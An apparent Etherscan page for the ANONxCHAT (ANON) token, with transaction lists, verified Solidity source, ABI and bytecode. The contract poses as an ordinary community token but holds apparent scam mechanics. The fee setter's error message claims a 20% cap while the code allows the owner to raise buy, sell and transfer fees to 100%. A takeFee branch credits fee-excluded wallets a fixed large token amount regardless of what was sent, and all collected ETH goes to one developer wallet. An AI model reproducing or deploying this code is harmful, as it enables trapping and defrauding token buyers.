ETH Price: $2,033.40 (-0.04%)

Contract

0xee8D4651B5Da7D108c14009372fB9A78cD87eBaD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve245147542026-02-22 20:18:2315 days ago1771791503IN
0xee8D4651...8cD87eBaD
0 ETH0.000004650.1
Approve181650512023-09-18 19:57:59903 days ago1695067079IN
0xee8D4651...8cD87eBaD
0 ETH0.0011627424.96385782
Approve181620792023-09-18 9:55:59904 days ago1695030959IN
0xee8D4651...8cD87eBaD
0 ETH0.000214888.84544068
Approve181620782023-09-18 9:55:47904 days ago1695030947IN
0xee8D4651...8cD87eBaD
0 ETH0.000214638.85724837
Approve181620772023-09-18 9:55:35904 days ago1695030935IN
0xee8D4651...8cD87eBaD
0 ETH0.000211358.70030654
Approve181620652023-09-18 9:53:11904 days ago1695030791IN
0xee8D4651...8cD87eBaD
0 ETH0.00046449.98364735
Approve181620462023-09-18 9:49:23904 days ago1695030563IN
0xee8D4651...8cD87eBaD
0 ETH0.00045559.79220151
Approve181620392023-09-18 9:47:59904 days ago1695030479IN
0xee8D4651...8cD87eBaD
0 ETH0.0004726110.16001479
Approve181620212023-09-18 9:44:11904 days ago1695030251IN
0xee8D4651...8cD87eBaD
0 ETH0.0004799610.31807337
Approve181620132023-09-18 9:42:35904 days ago1695030155IN
0xee8D4651...8cD87eBaD
0 ETH0.000440449.4684152
Approve181620042023-09-18 9:40:47904 days ago1695030047IN
0xee8D4651...8cD87eBaD
0 ETH0.0007270115.60897429
Approve181620022023-09-18 9:40:11904 days ago1695030011IN
0xee8D4651...8cD87eBaD
0 ETH0.000407638.76305003
Transfer181619902023-09-18 9:37:47904 days ago1695029867IN
0xee8D4651...8cD87eBaD
0 ETH0.0009168510.92638231
Approve181619892023-09-18 9:37:35904 days ago1695029855IN
0xee8D4651...8cD87eBaD
0 ETH0.0004696410.08324938
Approve181619822023-09-18 9:35:59904 days ago1695029759IN
0xee8D4651...8cD87eBaD
0 ETH0.00043699.39227283
Approve181619802023-09-18 9:35:35904 days ago1695029735IN
0xee8D4651...8cD87eBaD
0 ETH0.000580112.45478517
Approve181619722023-09-18 9:33:59904 days ago1695029639IN
0xee8D4651...8cD87eBaD
0 ETH0.0002701510.24224868
Approve181619722023-09-18 9:33:59904 days ago1695029639IN
0xee8D4651...8cD87eBaD
0 ETH0.0005575611.97394434
Approve181619712023-09-18 9:33:47904 days ago1695029627IN
0xee8D4651...8cD87eBaD
0 ETH0.0004965610.73030154
Approve181619682023-09-18 9:33:11904 days ago1695029591IN
0xee8D4651...8cD87eBaD
0 ETH0.0004721610.15036188
Approve181619682023-09-18 9:33:11904 days ago1695029591IN
0xee8D4651...8cD87eBaD
0 ETH0.0006078413.05036188
Approve181619632023-09-18 9:32:11904 days ago1695029531IN
0xee8D4651...8cD87eBaD
0 ETH0.0006047813.00130857
Transfer181619602023-09-18 9:31:35904 days ago1695029495IN
0xee8D4651...8cD87eBaD
0 ETH0.0007236110.83061043
Approve181619582023-09-18 9:31:11904 days ago1695029471IN
0xee8D4651...8cD87eBaD
0 ETH0.0004856510.49455873
Approve181619532023-09-18 9:30:11904 days ago1695029411IN
0xee8D4651...8cD87eBaD
0 ETH0.000459339.92568129
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer181623832023-09-18 10:57:59904 days ago1695034679
0xee8D4651...8cD87eBaD
0 ETH
Transfer181623832023-09-18 10:57:59904 days ago1695034679
0xee8D4651...8cD87eBaD
0 ETH
Transfer181620042023-09-18 9:40:47904 days ago1695030047
0xee8D4651...8cD87eBaD
0.24209066 ETH
Transfer181620042023-09-18 9:40:47904 days ago1695030047
0xee8D4651...8cD87eBaD
0.24209066 ETH
Transfer181619632023-09-18 9:32:11904 days ago1695029531
0xee8D4651...8cD87eBaD
0.20584116 ETH
Transfer181619632023-09-18 9:32:11904 days ago1695029531
0xee8D4651...8cD87eBaD
0.20584116 ETH
Transfer181619292023-09-18 9:25:23904 days ago1695029123
0xee8D4651...8cD87eBaD
0.17682975 ETH
Transfer181619292023-09-18 9:25:23904 days ago1695029123
0xee8D4651...8cD87eBaD
0.17682975 ETH
Transfer181619162023-09-18 9:22:47904 days ago1695028967
0xee8D4651...8cD87eBaD
0.20097276 ETH
Transfer181619162023-09-18 9:22:47904 days ago1695028967
0xee8D4651...8cD87eBaD
0.20097276 ETH
Transfer181618872023-09-18 9:16:47904 days ago1695028607
0xee8D4651...8cD87eBaD
0.16561845 ETH
Transfer181618872023-09-18 9:16:47904 days ago1695028607
0xee8D4651...8cD87eBaD
0.16561845 ETH
Transfer181618792023-09-18 9:15:11904 days ago1695028511
0xee8D4651...8cD87eBaD
0.19706443 ETH
Transfer181618792023-09-18 9:15:11904 days ago1695028511
0xee8D4651...8cD87eBaD
0.19706443 ETH
Transfer181618662023-09-18 9:12:35904 days ago1695028355
0xee8D4651...8cD87eBaD
0.18045686 ETH
Transfer181618662023-09-18 9:12:35904 days ago1695028355
0xee8D4651...8cD87eBaD
0.18045686 ETH
Transfer181618432023-09-18 9:07:59904 days ago1695028079
0xee8D4651...8cD87eBaD
0.1630663 ETH
Transfer181618432023-09-18 9:07:59904 days ago1695028079
0xee8D4651...8cD87eBaD
0.1630663 ETH
Transfer181618412023-09-18 9:07:35904 days ago1695028055
0xee8D4651...8cD87eBaD
0.16533405 ETH
Transfer181618412023-09-18 9:07:35904 days ago1695028055
0xee8D4651...8cD87eBaD
0.16533405 ETH
Transfer181618402023-09-18 9:07:23904 days ago1695028043
0xee8D4651...8cD87eBaD
0.16696202 ETH
Transfer181618402023-09-18 9:07:23904 days ago1695028043
0xee8D4651...8cD87eBaD
0.16696202 ETH
Transfer181618342023-09-18 9:06:11904 days ago1695027971
0xee8D4651...8cD87eBaD
0.13724863 ETH
Transfer181618342023-09-18 9:06:11904 days ago1695027971
0xee8D4651...8cD87eBaD
0.13724863 ETH
Transfer181618182023-09-18 9:02:59904 days ago1695027779
0xee8D4651...8cD87eBaD
0.06125906 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ANON

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-09-18
*/

// SPDX-License-Identifier: MIT

/*
Your Crypto Community's Guardian of Anonymity

ANONxCHAT telegram bot is your passport to discreet dialogues in the vibrant world of cryptocurrency

Website: https://www.anonx.tech
Telegram: https://t.me/anonx_eth
Twitter: https://twitter.com/anonx_eth
Bot: https://t.me/ANONxCH_BOT
*/

pragma solidity 0.8.21;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IERC20Standard {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ANON is IERC20Standard, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"ANONxCHAT";
    string private constant _symbol = unicode"ANON";
    uint8 private constant _decimals = 9;
    uint256 private _tsupply = 1000000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFee;
    IRouter router;
    address public pair;
    bool private enabledTrading = false;
    bool private swapEnabled = true;
    uint256 private swapNum;
    bool private swapping;
    uint256 swapRequredForNew;
    uint256 private maxTaxSwap = ( _tsupply * 1000 ) / 100000;
    uint256 private minFeeSwap = ( _tsupply * 10 ) / 100000;
    modifier lockSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    
    uint256 private buyFee = 2500;
    uint256 private sellFee = 2500;
    uint256 private transferFee = 2500;
    uint256 private denominator = 10000;
    
    uint256 public maxTransfer = ( _tsupply * 250 ) / 10000;
    uint256 public maxBuy = ( _tsupply * 250 ) / 10000;
    uint256 public maxHolding = ( _tsupply * 250 ) / 10000;

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0xe3EA1604ff85eB1f46e260AD157E98870835F293; 
    address internal marketing_receiver = 0xe3EA1604ff85eB1f46e260AD157E98870835F293;
    address internal liquidity_receiver = 0xe3EA1604ff85eB1f46e260AD157E98870835F293;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isExcludedFromFee[liquidity_receiver] = true;
        isExcludedFromFee[marketing_receiver] = true;
        isExcludedFromFee[development_receiver] = true;
        isExcludedFromFee[msg.sender] = true;
        _balances[msg.sender] = _tsupply;
        emit Transfer(address(0), msg.sender, _tsupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function getOwner() external view override returns (address) { return owner; }
    function startTrading() external onlyOwner {enabledTrading = true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function totalSupply() public view override returns (uint256) {return _tsupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _tsupply.mul(_buy).div(10000); uint256 newTransfer = _tsupply.mul(_sell).div(10000); uint256 newWallet = _tsupply.mul(_wallet).div(10000);
        maxTransfer = newTx; maxBuy = newTransfer; maxHolding = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private lockSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isExcludedFromFee[sender] && !isExcludedFromFee[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return buyFee;}
        return transferFee;
    }

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minFeeSwap;
        bool aboveThreshold = balanceOf(address(this)) >= maxTaxSwap;
        return !swapping && swapEnabled && enabledTrading && aboveMin && !isExcludedFromFee[sender] && recipient == pair && swapNum >= swapRequredForNew && aboveThreshold;
    }

    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapRequredForNew = _swapAmount; maxTaxSwap = _tsupply.mul(_swapThreshold).div(uint256(100000)); 
        minFeeSwap = _tsupply.mul(_minTokenAmount).div(uint256(100000));
    }
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]){require(enabledTrading, "enabledTrading");}
        if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= maxHolding, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= maxBuy || isExcludedFromFee[sender] || isExcludedFromFee[recipient], "TX Limit Exceeded");}
        require(amount <= maxTransfer || isExcludedFromFee[sender] || isExcludedFromFee[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isExcludedFromFee[sender]){swapNum += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(maxTaxSwap); swapNum = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isExcludedFromFee[sender] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExcludedFromFee[recipient]) {return maxTransfer;}
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHolding","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransfer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004af565b6200002290633b9aca00620004c6565b60018190556006805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004c6565b6200005a9190620004e0565b600a55620186a0600154600a620000729190620004c6565b6200007e9190620004e0565b600b555f600c555f600d556064600e555f600f556109c46010556109c46011556109c460125561271060135561271060015460fa620000be9190620004c6565b620000ca9190620004e0565b60145561271060015460fa620000e19190620004c6565b620000ed9190620004e0565b60155561271060015460fa620001049190620004c6565b620001109190620004e0565b6016556017805473e3ea1604ff85eb1f46e260ad157e98870835f2936001600160a01b03199182168117909255601880548216831790556019805490911690911790553480156200015f575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ea919062000500565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000236573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025c919062000500565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002cd919062000500565b600580546001600160a01b038581166001600160a01b03199283161790925560068054848416921691909117905560195481165f908152600460209081526040808320805460ff19908116600190811790925560185486168552828520805482168317905560175490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000528565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f457815f1904821115620003d857620003d8620003a0565b80851615620003e657918102915b93841c9390800290620003b9565b509250929050565b5f826200040c57506001620004a9565b816200041a57505f620004a9565b81600181146200043357600281146200043e576200045e565b6001915050620004a9565b60ff841115620004525762000452620003a0565b50506001821b620004a9565b5060208310610133831016604e8410600b841016171562000483575081810a620004a9565b6200048f8383620003b4565b805f1904821115620004a557620004a5620003a0565b0290505b92915050565b5f620004bf60ff841683620003fc565b9392505050565b8082028115828204841417620004a957620004a9620003a0565b5f82620004fb57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000511575f80fd5b81516001600160a01b0381168114620004bf575f80fd5b6118b980620005365f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a8578063a8aa1b311161006d578063a8aa1b311461038a578063a9059cbb146103a9578063cb7f97d7146103c8578063dd62ed3e146103e7578063ed233ee91461042b578063f2fde38b14610440575f80fd5b8063715018a6146102dc578063893d20e8146102f057806395d89b41146103205780639cc353511461034c5780639d8740cb1461036b575f80fd5b80632f54bf6e116100f95780632f54bf6e14610208578063313ce56714610235578063333e6f06146102505780635342acb41461026557806370a082311461029357806370db69d6146102c7575f80fd5b806306fdde031461013f578063095ea7b31461018257806318160ddd146101b157806323b872dd146101d3578063293230b8146101f2575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526009815268105393d39e10d2105560ba1b60208201525b6040516101799190611576565b60405180910390f35b34801561018d575f80fd5b506101a161019c3660046115d8565b61045f565b6040519015158152602001610179565b3480156101bc575f80fd5b506101c5610475565b604051908152602001610179565b3480156101de575f80fd5b506101a16101ed366004611602565b6104e5565b3480156101fd575f80fd5b5061020661054d565b005b348015610213575f80fd5b506101a1610222366004611640565b5f546001600160a01b0391821691161490565b348015610240575f80fd5b5060405160098152602001610179565b34801561025b575f80fd5b506101c560165481565b348015610270575f80fd5b506101a161027f366004611640565b60046020525f908152604090205460ff1681565b34801561029e575f80fd5b506101c56102ad366004611640565b6001600160a01b03165f9081526002602052604090205490565b3480156102d2575f80fd5b506101c560155481565b3480156102e7575f80fd5b50610206610594565b3480156102fb575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610179565b34801561032b575f80fd5b5060408051808201909152600481526320a727a760e11b602082015261016c565b348015610357575f80fd5b5061020661036636600461165b565b610601565b348015610376575f80fd5b5061020661038536600461165b565b61073d565b348015610395575f80fd5b50600654610308906001600160a01b031681565b3480156103b4575f80fd5b506101a16103c33660046115d8565b6107a2565b3480156103d3575f80fd5b506102066103e2366004611684565b6107ae565b3480156103f2575f80fd5b506101c56104013660046116cb565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610436575f80fd5b506101c560145481565b34801561044b575f80fd5b5061020661045a366004611640565b6108a2565b5f61046b33848461091e565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104e09290916104da9190610a41565b90610a41565b905090565b5f6104f1848484610a4c565b610542843361053d8560405180606001604052806028815260200161185c602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610f8d565b61091e565b5060015b9392505050565b5f546001600160a01b0316331461057f5760405162461bcd60e51b815260040161057690611702565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105bd5760405162461bcd60e51b815260040161057690611702565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461062a5760405162461bcd60e51b815260040161057690611702565b5f61064c61271061064686600154610fb890919063ffffffff16565b90610fc3565b90505f61066a61271061064686600154610fb890919063ffffffff16565b90505f61068861271061064686600154610fb890919063ffffffff16565b60148490556015839055601681905590505f6106b36103e861064660056106ad610475565b90610fb8565b90508084101580156106c55750808310155b80156106d15750808210155b6107345760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610576565b50505050505050565b5f546001600160a01b031633146107665760405162461bcd60e51b815260040161057690611702565b600983905560015461078190620186a0906106469085610fb8565b600a5560015461079a90620186a0906106469084610fb8565b600b55505050565b5f61046b338484610a4c565b5f546001600160a01b031633146107d75760405162461bcd60e51b815260040161057690611702565b600c879055600d869055600f859055600e849055601083905560118290556012819055601354610808906001610fc3565b601054111580156108285750601354610822906001610fc3565b60115411155b8015610843575060135461083d906001610fc3565b60125411155b6107345760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610576565b5f546001600160a01b031633146108cb5760405162461bcd60e51b815260040161057690611702565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610576565b6001600160a01b0382166109e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610576565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6105468284611736565b6001600160a01b038316610ab05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610576565b6001600160a01b038216610b125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610576565b6001600160a01b0383165f90815260026020526040902054811115610b935760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610576565b6001600160a01b0383165f9081526004602052604090205460ff16158015610bd3575060016001